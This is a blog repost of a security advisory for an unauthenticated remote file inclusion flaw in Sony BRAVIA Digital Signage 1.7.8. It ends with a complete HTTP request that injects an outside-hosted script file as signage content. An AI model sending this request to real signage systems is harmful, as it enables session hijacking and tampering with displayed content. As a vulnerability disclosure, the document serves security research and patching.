Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86382666

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Sony BRAVIA Digital Signage 1.7.8 - Unauthenticated Remote File Inclusion
# Date: 20.09.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://pro-bravia.sony.net
# Version: 1.7.8

Sony BRAVIA Digital Signage 1.7.8 Unauthenticated Remote File Inclusion


Vendor: Sony Electronics Inc.
Product web page: https://pro-bravia.sony.net
                  https://pro-bravia.sony.net/resources/software/bravia-signage/
                  https://pro.sony/ue_US/products/display-software
Affected version: <=1.7.8

Summary: Sony's BRAVIA Signage is an application to deliver
video and still images to Pro BRAVIAs and manage the information
via a network. Features include management of displays, power
schedule management, content playlists, scheduled delivery
management, content interrupt, and more. This cost-effective
digital signage management solution is ideal for presenting
attractive, informative visual content in retail spaces and
hotel reception areas, visitor attractions, educational and
corporate environments.

Desc: BRAVIA digital signage is vulnerable to a remote file
inclusion (RFI) vulnerability by including arbitrary client-side
dynamic scripts (JavaScript, VBScript, HTML) when adding content
though the input URL material of type html. This allows hijacking
the current session of the user, execute cross-site scripting code
or changing the look of the page and content modification on current
display.

Tested on: Microsoft Windows Server 2012 R2
           Ubuntu
           NodeJS
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5612
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5612.php


20.09.2020

--


Request:
--------

POST /api/content-creation?type=create&id=174ace2f9371b4 HTTP/1.1
Host: 192.168.1.20:8080
Proxy-Connection: keep-alive
Content-Length: 468
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.1.20:8080
Referer: http://192.168.1.20:8080/test.txt
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: io=RslVZVH6Dc8WsOn5AAAJ

{"material":[{"name":"http://www.zeroscience.mk/pentest/XSS.svg","type":"html"},{"name":"C:\\fakepath\\Blank.jpg","type":"jpeg"},{"name":"","type":"external_input"},{"name":"","type":""}],"layout":{"name":"assets/images/c4e7e66e.icon_layout_pattern_landscape_003.png","area":3,"direction":"landscape","layouts":[{"index":1,"width":960,"height":1080,"x":0,"y":0},{"index":2,"width":960,"height":540,"x":960,"y":0},{"index":3,"width":960,"height":540,"x":960,"y":540}]}}